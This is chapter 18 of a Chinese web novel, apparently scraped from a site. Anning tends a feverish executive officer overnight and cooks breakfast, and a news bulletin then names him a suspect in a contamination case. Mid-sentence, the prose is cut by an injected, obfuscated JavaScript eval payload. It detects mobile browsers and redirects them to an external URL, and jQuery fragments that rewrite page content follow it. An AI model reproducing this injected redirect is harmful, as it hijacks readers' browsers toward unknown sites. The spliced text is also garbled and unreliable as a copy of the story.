18. 照顾
作品:《九重天》 执行官不说话。
安宁暂时放下纱布,她不太熟悉这借来的医药箱,叮叮当当地翻了好半晌,才从箱子底部找到一根电子体温计,拔下盖子,递到执行官唇边,示意他含进口中。
“先量下体温吧。”
见他嘴唇抿得死紧,安宁往前送了送。
戳。
为什么没反应?
戳…
执行官的嘴唇表层看起来被烧干了。
戳……
但是…里面好像又很柔软。
测温探头冰冰凉凉的触感在嘴唇皮肤上磨蹭来磨蹭去,他足足愣怔了半分钟,才放松牙关,缓缓张嘴咬了进去。
戳了半天终于把出神的执行官的三魂七魄戳回来一半,安宁松了口气。
她按亮温度计的夜光小灯,数字从20开始不断向上跳动。
30……37…38……
安宁凝神聚气地俯身凑近,盯着温度计数字一下下跳动,余光偷瞥到一抹亮色水光。
温度计的绿色夜光灯幽幽暗暗地映在执行官下巴附近一小块覆了薄汗的皮肤上,呈现出一种特别的,湿淋淋的光泽。
她没想太多地抬起手,随意用指尖蹭走他下颌湿润的汗珠。
手下皮肤瞬间紧绷僵硬。
他的呼吸停滞片刻,随之变得更加沉重灼热,喉骨轻轻滚动两下。
安宁的手腕被倏地握住了。
她不明所以,无知无觉地对上执行官的眼睛,却仿佛连人带魂被施了定身咒,呼吸凝滞。
高热烧破了执行官眼眸里客套、疏离、温和凉薄的皮。
比萤火虫还暗的夜光灯落入他眼底,映出一双深沉、湿润、藏着许多她分辨不出的情绪的暗泉,暗泉其下埋藏着的东西,竟称得上柔软可怜。
一切仅仅是一瞬间,他便垂下眼掩了过去。
执行官抬手将温度计收了回去,从床边取了一张纸,压着她的手擦掉那抹汗水,
“不脏么。”
他的手指扣得紧了紧,声音有点低,有点哑。
“人类一般会介意其他人类的体.液。”
安宁愣了足足四五秒才回过神,眨了眨眼,把刚被执行官扣回去的温度计盖子又拔了出来,拔开之后才发现不用拔盖子也能看到温度,茫茫然地合上了。
她像个不灵敏的机器,咔哒咔哒地转了好半晌,才干干巴巴地说,
“40.3℃,您,您烧得很厉害,但是聂博士说您体内的药物已经够多够杂了,不能再内服其他药剂,否则会引起更严重的不良反应。”
“这管是外用药膏,涂抹在伤处至少会感觉好上一些。”
“如果自己不方便涂药膏,愿意的话,我可以帮您。”
安宁逞了个一时嘴快,话飞出口她才慢悠悠地、近乎于生存本能地觉得——如果让她帮执行官上药,气氛一定会变得更奇怪。
正懊恼之际,执行官不紧不慢地从她手里接过了药膏。
他不小心碰到了安宁,皮肤热度传递,安宁如同被烫到了般缩回了手。
“我自己来。”
“嗯…嗯对,还是您自己涂比较好。”
安宁讷讷地背过身,不再看他。
身后传来窸窸窣窣的微弱动静,安宁能凭借声音判断出来执行官的动作,他缓缓地掀开被子、将患处裸露出来……挤药膏……撕纱布、缠绕……
安宁摸了摸右手背被他碰到的那一小块皮肤,只觉余温还残留在皮肤之上,久久不散。
“奇怪的氛围”稍纵即散,安宁再回过身,执行官已经收拾停当。
他为自己形容惨烈的末肢上好药之后,在安宁的强制要求下,额头和颈部被贴上了降温贴。
他从不偏爱用“效用温吞”的东西,有些不适应,怀疑这东西是否真的奏效,但安宁的威严不容置疑,将它撕下来的念头只好作罢。
“聂博士叮嘱如果您的体温超过40.5℃、或者出现心悸、谵妄、肌肉痉挛……”安宁列了一大长串不良反应,“就一定要去找他。”
安宁往他手腕上绑了监测器,另一端在她手心里攥着。
“如果今晚有异动,它会提醒我。”安宁清心静气,努力做一个鞠躬尽瘁的贴心下属。
她拽了拽线确认松紧,执行官看着自己随着拽动变成招财猫的胳膊有些无奈。
“我明天就会恢复。”
安宁决定不再相信执行官的话。
既然要当陪护人员,就肯定要睡在旁边,执行官对安宁打算搬来客厅沙发睡的行为表示愧疚难当,于是三分钟后,床上多了一条楚河汉界。
执行官的床足够大,安宁将中间用软垫垒起,二人各占半边,睡得比南北两极还远。
长长的线逶迤曲折,拐了好几道弯儿,翻山越岭跨过楚河汉界,连接着两个人。
执行官不自觉地抬高手臂,晃了晃手腕,线也随着他的动作轻轻荡起来。
安宁警觉地坐起来:“怎么了?”
执行官垂眼盯了几秒那根晃来晃去的线,嗓音温沉又模糊地说,
“没事,睡吧。”
他向来睡得浅,但也许是今天太疲惫,一觉醒来,竟整夜无梦好眠。
过了一晚,额头上的降温贴竟还是凉的,他惊讶于这东西的持久,但很快看到了垃圾桶里多出的几条包装袋——降温贴被换过了。
“早上好。”执行官坐在轮椅上,向在他那没什么东西可用的厨房里做早餐的安宁打招呼。
安宁见执行官从房间出来,上下左右地瞄他的脸色。
执行官这次倒没撒谎——激素药物已经被代谢掉不少,他恢复些许,只是面上残存的病气让他看起来有点苍白。
“早安,您昨晚睡得好吗。”
“嗯,很好。”
“但您昨晚一直在说梦话。”
他正拆着监测器的固定胶布,动作顿了顿,有些诧异:“是吗?我说什么了。”
“您在梦里说,鉴于我是如此尽职尽责的下属,您心里对于曾经的压榨行为太愧疚了,拽着我的袖子不放,说一定要给我涨工资,还要帮我找到剩下的芯核,不然您于心有愧。”安宁一本正经地说。
执行官摇了摇头,低声笑起来。
“恐怕不是我的梦,是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119239|164021||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你的。”
锅里声音跳得滋啦滋啦,蛋壳敲碎,蛋液落入锅中,缓缓流动,很快定形;培根在一旁被煎得微焦,被眼疾手快地夹了出来;盘子上放着几片热好的吐司。
安宁觉得让病中的执行官再吃水泥浆糊实在太可怜了,于是找了份早餐食谱录入了进来,按照食谱一比一复刻,也算水准大幅提高。
餐桌上,执行官看着面前刚从平底锅煎出来的一枚热气腾腾完完整整的鸡蛋,再看向安宁盘子里的一堆品相不佳七零八碎的失败品,客客气气地说了声:“谢谢。”
然后他很不客气地切开那颗完美圆润的煎蛋送入口中。
安宁用叉子一下一下戳着自己的碎鸡蛋,撑下巴看着他。
执行官毫无犹豫,不吝啬地说好话:“火候正好,味道适中,你进步很快,非常厉害。”
“当然,我学什么都很快的。”安宁翘了翘尾巴。
执行官打开客厅投影,随便调了个台。
“各位早上好,欢迎收看由G9新闻总署为您带来的今日早间新闻直播。”女主持人仪表端庄,面带笑容。
“今日天气:晴,十六度。推荐您穿着薄风衣或针织衣物,长裤出门。”
安宁叉起碎煎蛋往嘴里送,新奇地盯着投影直播——她还没看过这种节目呢。
她太过专注,嘴里的煎蛋嚼了好几口之后才发现盐没撒匀,咸得狂喝水。
女主持人声色温柔舒缓、如沐春风。
新闻投影实时放送行人们闲适散步的画面,天气报道结束后,她身后背景开始播放折线图,是有关G9新生儿出生率的。
“……根据最新数据统计,近五年来G9新生儿增长了9%,随之而来的,是可以预见的各类资源危机……”
镜头切到摆放着花花绿绿的试管瓶剂的实验室,一位身着白大褂的男性科研者正在做实验,他将一管红色试管里的药剂倒入墨绿药剂的试管里,倒完之后转过身面对观众,郑重非常。
“是的,依照模型推演,如果不加以干预,我们将会在二十年后面临资源枯竭。这里,人类最后的庇护所,面临着一场严峻的挑战,我们必须未雨绸缪。”
安宁咬着叉子,聚精会神看着投影,注意力放错重点:“……镜头好不自然。”
执行官看了眼投影,笑了笑:“都爱这么拍。”
女主持人专注地看着采访视频播放完,点点头,面对摄影机:“联邦政府表示,在加强管控人口的同时,‘提高资源利用率’会是我们将要面对的首要议题……”
除此之外早间新闻又零零碎碎地播了几条,大多是展现美好生活希望的溢美之词,无波无澜,平静温和。
二人慢悠悠地吃着早餐,安宁本以为这顿早餐会这样舒适到底,却听女主持人一直流畅和缓的声音顿了顿。
“……”
“请注意,现在插播一条重要紧急报道。”
“就在昨日,G1新鲜制作出的,经由塔送往G2、G3、G4的基液中,发现了不明成分。”
“据悉,目前联邦侦查局确定的嫌疑人为——我们尊敬的,最高执行官大人。”